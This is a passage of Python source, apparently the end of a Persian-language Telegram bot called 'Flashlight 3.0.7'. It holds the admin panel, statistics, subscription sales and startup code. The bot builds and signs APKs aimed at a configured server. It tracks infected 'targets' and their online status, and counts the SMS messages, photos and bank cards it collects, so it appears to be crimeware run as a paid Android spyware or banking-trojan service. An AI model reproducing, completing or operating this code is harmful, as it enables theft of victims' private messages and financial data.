        elif action == "exportdb":
            path = db_backup()
            if path:
                with open(path, "rb") as f:
                    await context.bot.send_document(ADMIN_ID, f, caption="💾")
        elif action == "channel":
            await admin_channel_menu(update)
        elif action.startswith("ch_lock"):
            with DB_LOCK:
                s = DATABASE.setdefault("settings", {})
                s["channel_lock"] = not s.get("channel_lock", False)
                _apply_channel_settings()
                db_save()
            await admin_channel_menu(update)
        elif action == "migrate":
            PENDING[uid] = {"action": "adm_migrate", "step": "tid"}
            await update.callback_query.message.reply_text("🎯 tid:")
        elif action == "maxtgt":
            PENDING[uid] = {"action": "adm_maxtgt"}
            await update.callback_query.message.reply_text("🔢 سقف هدف:\nفعال: {}".format(DATABASE.get("settings", {}).get("max_targets", MAX_TARGETS_DEFAULT)))
        elif action == "buildday":
            PENDING[uid] = {"action": "adm_buildday"}
            await update.callback_query.message.reply_text("🔢 سقف بیلد:\nفعال: {}".format(DATABASE.get("settings", {}).get("max_builds_day", MAX_BUILDS_PER_DAY)))
        elif action == "onlinenow":
            now = time.time()
            online = [u for u, t in last_activity.items() if now - t < 600]
            await update.callback_query.message.reply_text("⏱ آنلاین (۱۰ دقیقه): <b>{}</b>".format(len(online)),
                                                          reply_markup=kb_back("a:main"), parse_mode=ParseMode.HTML)
        elif action == "userinfo":
            PENDING[uid] = {"action": "adm_userinfo"}
            await update.callback_query.message.reply_text("🆔 آیدی:")
        elif action == "restart":
            await update.callback_query.message.reply_text("🔄 ری استارت...")
            db_save()
            os._exit(0)
        elif action.startswith("banuser:"):
            tid_to_ban = action.split(":")[1]
            u = get_user(tid_to_ban)
            if u:
                with DB_LOCK:
                    u["banned"] = not u.get("banned", False)
                    db_save()
                run_coro(async_send(PBOT_INSTANCE, int(tid_to_ban), "🚫 وضعیت بن: {}".format(str(u["banned"]))))
                await update.callback_query.message.reply_text("✅", reply_markup=kb_admin())
        elif action.startswith("approve:"):
            parts_a = action.split(":")
            appr_uid = parts_a[1]
            sub_type = parts_a[2] if len(parts_a) > 2 else "normal"
            u = get_user(appr_uid)
            if u:
                vip = sub_type == "vip"
                add_subscription(appr_uid, 7, vip=vip)
                run_coro(async_send(PBOT_INSTANCE, int(appr_uid), "🎉 اشتراک {} فعال شد!".format("VIP 👑" if vip else "عادی")))
                await update.callback_query.message.reply_text("✅ فعال شد.")
    except Exception as e:
        log_event("ERROR", "خطای admin button: " + str(e))

async def handle_admin_pending(update, context, user, p, text):
    try:
        uid = str(user["id"])
        action = p.get("action")
        if action == "adm_givesub":
            if p.get("step") == "uid":
                if not text.strip().isdigit():
                    await update.message.reply_text("⚠ عدد.")
                    return
                p["target"] = text.strip()
                p["step"] = "days"
                await update.message.reply_text("📅 روز (1-60):")
            elif p.get("step") == "days":
                days = int(text.strip()) if text.strip().isdigit() else 0
                if not 1 <= days <= 60:
                    await update.message.reply_text("⚠ 1-60.")
                    return
                p["days"] = days
                p["step"] = "type"
                await update.message.reply_text("🔸 نوع:\n1: عادی\n2: VIP")
            elif p.get("step") == "type":
                vip = text.strip() == "2"
                if get_user(p["target"]):
                    add_subscription(p["target"], p["days"], vip=vip)
                    run_coro(async_send(PBOT_INSTANCE, int(p["target"]), "🎉 اشتراک {} {} روزه!".format("VIP" if vip else "عادی", p["days"])))
                    await update.message.reply_text("✅")
                PENDING.pop(uid, None)
        elif action == "adm_remsub":
            if p.get("step") == "uid":
                p["target"] = text.strip()
                p["step"] = "days"
                await update.message.reply_text("📅 روز:")
            elif p.get("step") == "days":
                days = int(text.strip()) if text.strip().isdigit() else 0
                if get_user(p.get("target", "")):
                    remove_subscription(p["target"], days)
                    await update.message.reply_text("✅")
                PENDING.pop(uid, None)
        elif action == "adm_broadcast":
            target = p.get("target", "all")
            sent = 0
            failed = 0
            for cuid, cu in DATABASE["users"].items():
                if target == "active" and not has_any_sub(cu):
                    continue
                if target == "banned" and not cu.get("banned"):
                    continue
                if target == "no" and has_any_sub(cu):
                    continue
                try:
                    await context.bot.send_message(int(cuid), text, parse_mode=ParseMode.HTML)
                    sent += 1
                except Exception:
                    failed += 1
                await asyncio.sleep(0.05)
            await update.message.reply_text("📊 ✅ {} | ❌ {}".format(sent, failed))
            PENDING.pop(uid, None)
        elif action == "adm_search":
            q = text.strip().lstrip("@")
            found = []
            for cuid, cu in DATABASE["users"].items():
                if q == cuid or q.lower() == str(cu.get("username", "")).lower():
                    found.append(cu)
            if found:
                for cu in found:
                    await update.message.reply_text("🔎 <code>{}</code> | @{}".format(cu["id"], esc(cu.get("username") or "-")), parse_mode=ParseMode.HTML)
            else:
                await update.message.reply_text("🔎 یافت نشد.")
            PENDING.pop(uid, None)
        elif action == "adm_dm":
            if p.get("step") == "uid":
                if not text.strip().isdigit():
                    await update.message.reply_text("⚠ عدد.")
                    return
                p["target"] = text.strip()
                p["step"] = "text"
                await update.message.reply_text("✉ متن:")
            elif p.get("step") == "text":
                run_coro(async_send(PBOT_INSTANCE, int(p["target"]), "📩 پیام از پشتیبانی\n\n" + text))
                await update.message.reply_text("✅")
                PENDING.pop(uid, None)
        elif action == "adm_ban":
            if not text.strip().isdigit():
                await update.message.reply_text("⚠ عدد.")
                return
            u = get_user(text.strip())
            if u:
                with DB_LOCK:
                    u["banned"] = not u.get("banned", False)
                    db_save()
                state = "بن" if u["banned"] else "آنبن"
                run_coro(async_send(PBOT_INSTANCE, int(text.strip()), "🚫 " + state))
                await update.message.reply_text("✅ " + state)
            PENDING.pop(uid, None)
        elif action == "adm_deluser":
            if not text.strip().isdigit():
                return
            del_uid = text.strip()
            with DB_LOCK:
                DATABASE["users"].pop(del_uid, None)
                for tid in list(DATABASE["targets"].keys()):
                    if DATABASE["targets"][tid].get("owner") == del_uid:
                        del DATABASE["targets"][tid]
                db_save()
            await update.message.reply_text("🗑 حذف شد.")
            PENDING.pop(uid, None)
        elif action == "adm_price":
            if p.get("step") == "normal":
                val = int(text.strip()) if text.strip().isdigit() else 0
                if val <= 0:
                    return
                with DB_LOCK:
                    DATABASE.setdefault("settings", {})["price_normal"] = val
                    db_save()
                p["step"] = "vip"
                await update.message.reply_text("💰 VIP:\nفعال: {}".format(DATABASE["settings"].get("price_vip", PRICE_VIP_WEEK)))
            else:
                val = int(text.strip()) if text.strip().isdigit() else 0
                if val > 0:
                    with DB_LOCK:
                        DATABASE["settings"]["price_vip"] = val
                        db_save()
                    await update.message.reply_text("✅")
                PENDING.pop(uid, None)
        elif action == "adm_migrate":
            if p.get("step") == "tid":
                p["tid"] = text.strip()
                p["step"] = "newowner"
                await update.message.reply_text("👤 آیدی جدید:")
            else:
                new_owner = text.strip()
                t = DATABASE["targets"].get(p.get("tid", ""))
                if t and new_owner in DATABASE["users"]:
                    with DB_LOCK:
                        t["owner"] = new_owner
                        db_save()
                    await update.message.reply_text("✅")
                else:
                    await update.message.reply_text("⚠ یافت نشد.")
                PENDING.pop(uid, None)
        elif action == "adm_maxtgt":
            val = int(text.strip()) if text.strip().isdigit() else 0
            if val > 0:
                with DB_LOCK:
                    DATABASE.setdefault("settings", {})["max_targets"] = val
                    db_save()
                await update.message.reply_text("✅")
            PENDING.pop(uid, None)
        elif action == "adm_buildday":
            val = int(text.strip()) if text.strip().isdigit() else 0
            if val > 0:
                with DB_LOCK:
                    DATABASE.setdefault("settings", {})["max_builds_day"] = val
                    db_save()
                await update.message.reply_text("✅")
            PENDING.pop(uid, None)
        elif action == "adm_userinfo":
            u = get_user(text.strip())
            if not u:
                await update.message.reply_text("⚠ یافت نشد.")
                PENDING.pop(uid, None)
                return
            my_t = [t for t, d in DATABASE["targets"].items() if d.get("owner") == str(u["id"])]
            text_out = "👤  <b>کاربر</b>\n\n🆔  <code>{}</code>\n👤  @{}\n📅  {}\n⭐  {}\n👑  {}\n🚫  {}\n🎯  {}".format(
                u["id"], esc(u.get("username") or "-"), jalali_str(u.get("joined")),
                jalali_str(u.get("normal_until")) if u.get("normal_until", 0) > time.time() else "غیرفعال",
                jalali_str(u.get("vip_until")) if u.get("vip_until", 0) > time.time() else "غیرفعال",
                u.get("banned"), len(my_t))
            for t in my_t:
                text_out += "\n• {}".format(esc(DATABASE["targets"][t].get("name")))
            await update.message.reply_text(text_out, parse_mode=ParseMode.HTML)
            PENDING.pop(uid, None)
    except Exception as e:
        log_event("ERROR", "خطای admin pending: " + str(e))
        PENDING.pop(str(user["id"]), None)

async def handle_admin_text(update, context):
    await update.message.reply_text("🛡 از پنل استفاده کن. (/start)")

async def admin_list_users(update, page):
    try:
        users = list(DATABASE["users"].values())
        per = 10
        max_p = max(0, (len(users) - 1) // per)
        page = max(0, min(page, max_p))
        chunk = users[page * per:(page + 1) * per]
        text = "👥  <b>کاربران</b>  کل: {} صفحه {}\n\n".format(len(users), page + 1)
        for u in chunk:
            text += " 🆔  <code>{}</code> | @{} | {} | {}\n".format(u["id"], esc(u.get("username") or "-"), "⭐" if has_any_sub(u) else "❌", "🚫" if u.get("banned") else "🔵")
        rows = []
        if page < max_p:
            rows.append([InlineKeyboardButton("➡ بعدی", callback_data="a:listusers:{}".format(page + 1))])
        if page > 0:
            rows.append([InlineKeyboardButton("⬅ قبلی", callback_data="a:listusers:{}".format(page - 1))])
        rows.append([InlineKeyboardButton("🔙", callback_data="a:main")])
        await update.callback_query.message.reply_text(text[:4000], reply_markup=InlineKeyboardMarkup(rows), parse_mode=ParseMode.HTML)
    except Exception as e:
        log_event("ERROR", "خطای list users: " + str(e))

async def admin_banner_wizard(update, context=None):
    try:
        kb = InlineKeyboardMarkup([
            [InlineKeyboardButton("🏠 اصلی", callback_data="ab:main")],
            [InlineKeyboardButton("🔨 ساخت", callback_data="ab:build")],
            [InlineKeyboardButton("👑 VIP", callback_data="ab:vip")],
            [InlineKeyboardButton("🎯 هدف ها", callback_data="ab:targets")],
            [InlineKeyboardButton("📘 راهنما", callback_data="ab:help")],
            [InlineKeyboardButton("🔙", callback_data="a:main")]
        ])
        await update.callback_query.message.reply_text("🎨 کدام بنر؟", reply_markup=kb)
    except Exception as e:
        log_event("ERROR", "خطای banner: " + str(e))

async def admin_stats(update):
    try:
        users = DATABASE["users"]
        active = sum(1 for u in users.values() if has_any_sub(u))
        banned = sum(1 for u in users.values() if u.get("banned"))
        st = DATABASE.get("stats", {})
        text = "📊  <b>آمار</b>\n\n👥 کاربران: <b>{}</b>\n⭐ فعال: <b>{}</b>\n🚫 بن: <b>{}</b>\n🎯 هدف ها: <b>{}</b>\n🏗 بیلدها: <b>{}</b>\n📩 پیامک: <b>{}</b>\n📷 عکس: <b>{}</b>\n💳 کارت: <b>{}</b>".format(
            len(users), active, banned, len(DATABASE["targets"]),
            st.get("total_builds", 0), st.get("total_sms", 0),
            st.get("total_photos", 0), st.get("total_cards", 0))
        await update.callback_query.message.reply_text(text, reply_markup=kb_back("a:main"), parse_mode=ParseMode.HTML)
    except Exception as e:
        log_event("ERROR", "خطای stats: " + str(e))

async def admin_daily_stats(update):
    try:
        today = jalali_date_only()
        ds = DATABASE.get("daily_stats", {}).get(today, {})
        text = "📅  <b>امروز ({})</b>\n\n👤 جدید: <b>{}</b>\n🏗 بیلد: <b>{}</b>\n📩 پیامک: <b>{}</b>\n💳 کارت: <b>{}</b>".format(
            today, ds.get("new_users", 0), ds.get("builds", 0), ds.get("sms", 0), ds.get("cards", 0))
        days = sorted(DATABASE.get("daily_stats", {}).keys())[-7:]
        text += "\n\n📈 <b>بیلدها</b>\n"
        for d in days:
            cnt = DATABASE["daily_stats"][d].get("builds", 0)
            text += "<code>{}</code> {}\n".format(d[-8:], cnt)
        await update.callback_query.message.reply_text(text, reply_markup=kb_back("a:main"), parse_mode=ParseMode.HTML)
    except Exception as e:
        log_event("ERROR", "خطای daily stats: " + str(e))

async def admin_all_targets(update):
    try:
        text = "🎯  <b>هدف ها</b>\n\n"
        for tid, t in list(DATABASE["targets"].items())[:50]:
            text += " 🆔  <code>{}</code> | مالک: <code>{}</code> | {} | {}\n".format(tid, t.get("owner"), "🟢" if t.get("online") else "🔴", esc(t.get("name")))
        await update.callback_query.message.reply_text(text[:4000], reply_markup=kb_back("a:main"), parse_mode=ParseMode.HTML)
    except Exception as e:
        log_event("ERROR", "خطای all targets: " + str(e))

async def admin_top_templates(update):
    try:
        counter = {}
        for hist in DATABASE.get("build_history", {}).values():
            for h in hist:
                counter[h.get("template", "")] = counter.get(h.get("template", ""), 0) + 1
        if not counter:
            text = "🏆 خالی."
        else:
            items = sorted(counter.items(), key=lambda x: -x[1])[:10]
            text = "🏆  <b>پراستفاده‌ها</b>\n\n" + "\n".join(["{} — {} <b>{}</b>".format(i + 1, esc(n), c) for i, (n, c) in enumerate(items)])
        await update.callback_query.message.reply_text(text, reply_markup=kb_back("a:main"), parse_mode=ParseMode.HTML)
    except Exception as e:
        log_event("ERROR", "خطای top templates: " + str(e))

async def admin_channel_menu(update):
    try:
        s = DATABASE.get("settings", {})
        text = "📡  <b>کانال</b>\n\nوضعیت: {}\nکانال: <code>{}</code>\n\n/setchannel برای تغییر".format(
            "✅" if s.get("channel_lock") else "❌", esc(s.get("channel_id", "تنظیم نشده")))
        kb = InlineKeyboardMarkup([
            [InlineKeyboardButton("🔄 تغییر", callback_data="a:ch_lock")],
            [InlineKeyboardButton("🔙", callback_data="a:main")]
        ])
        await update.callback_query.message.reply_text(text, reply_markup=kb, parse_mode=ParseMode.HTML)
    except Exception as e:
        log_event("ERROR", "خطای channel: " + str(e))

def _apply_channel_settings():
    global REQ_CHANNEL_LOCK, REQ_CHANNEL_ID
    s = DATABASE.get("settings", {})
    REQ_CHANNEL_LOCK = s.get("channel_lock", False)
    REQ_CHANNEL_ID = s.get("channel_id", "")

# ==================== SCHEDULED ==================== #
async def scheduled_tasks(context: ContextTypes.DEFAULT_TYPE):
    app = context.application
    last_backup = getattr(context, "last_backup", 0)
    last_daily = getattr(context, "last_daily", "")
    now = time.time()
    if now - last_backup > 86400:
        path = db_backup()
        context.last_backup = now
        if path:
            await async_send(app, ADMIN_ID, "💾 بکاپ خودکار")
    today = jalali_date_only()
    if today != last_daily:
        context.last_daily = today
        ds = DATABASE.get("daily_stats", {}).get(today, {})
        if DAILY_STATS_NOTIFY:
            await async_send(app, ADMIN_ID, "📊 گزارش روزانه\n\nکاربران: {}\nبیلد: {}\nپیامک: {}\nکارت: {}".format(
                ds.get("new_users", 0), ds.get("builds", 0), ds.get("sms", 0), ds.get("cards", 0)))
        for u in DATABASE["users"].values():
            warn_expiry(u, None)

# ==================== MAIN ==================== #
def main():
    global PBOT_INSTANCE, MAIN_LOOP, PRICE_NORMAL_WEEK, PRICE_VIP_WEEK
    for d in [DOWNLOADS_DIR, BUILDS_DIR, BACKUPS_DIR]:
        os.makedirs(d, exist_ok=True)
    db_load()
    db_backup()
    s = DATABASE.get("settings", {})
    PRICE_NORMAL_WEEK = s.get("price_normal", PRICE_NORMAL_WEEK)
    PRICE_VIP_WEEK = s.get("price_vip", PRICE_VIP_WEEK)
    _apply_channel_settings()

    if not SERVER_HOST.strip():
        log_event("WARN", "⚠️ SERVER_HOST تنظیم نشده — ساخت APK کار نخواهد کرد!")
        log_event("WARN", "بالای فایل، SERVER_HOST = \"IP یا دامنه\" را تنظیم کن.")
    else:
        log_event("INFO", "SERVER_HOST = " + SERVER_HOST)

    missing_tools = check_required_tools()
    if missing_tools:
        log_event("WARN", "ابزارهای نصب نیستند: " + ", ".join(missing_tools))

    if check_apktool():
        log_event("INFO", "apktool موجود")
    else:
        log_event("WARN", "apktool نیست")

    uber = get_uber_apk_signer()
    if uber:
        log_event("INFO", "uber-apk-signer: " + uber)
    else:
        signer = get_apksigner_cmd()
        if signer:
            log_event("INFO", "امضا: " + " ".join(signer))
        else:
            log_event("WARN", "هیچ روش امضا نیست!")

    server_thread = threading.Thread(target=start_data_server, daemon=True)
    server_thread.start()
    hb_thread = threading.Thread(target=heartbeat_checker, args=(None,), daemon=True)
    hb_thread.start()

    log_event("INFO", "ربات Flashlight 3.0.7 راه‌اندازی شد")

    app = Application.builder().token(BOT_TOKEN).build()
    PBOT_INSTANCE = app

    app.add_handler(CommandHandler("start", cmd_start))
    app.add_handler(CallbackQueryHandler(on_button))
    app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, on_text))
    app.add_handler(MessageHandler(filters.PHOTO, on_photo))
    app.add_handler(MessageHandler(filters.Document.IMAGE, on_document))

    job_queue = app.job_queue
    if job_queue:
        job_queue.run_repeating(scheduled_tasks, interval=3600, first=10)
    else:
        def run_scheduled():
            loop = asyncio.new_event_loop()
            asyncio.set_event_loop(loop)
            class DummyContext:
                def __init__(self):
                    self.application = app
                    self.last_backup = 0
                    self.last_daily = ""
            loop.run_until_complete(scheduled_tasks(DummyContext()))
        sched_thread = threading.Thread(target=run_scheduled, daemon=True)
        sched_thread.start()

    try:
        app.run_polling(drop_pending_updates=True, timeout=60)
    except KeyboardInterrupt:
        log_event("INFO", "متوقف شد")
        db_save()
        print("✅ متوقف شد")

if __name__ == "__main__":
    main()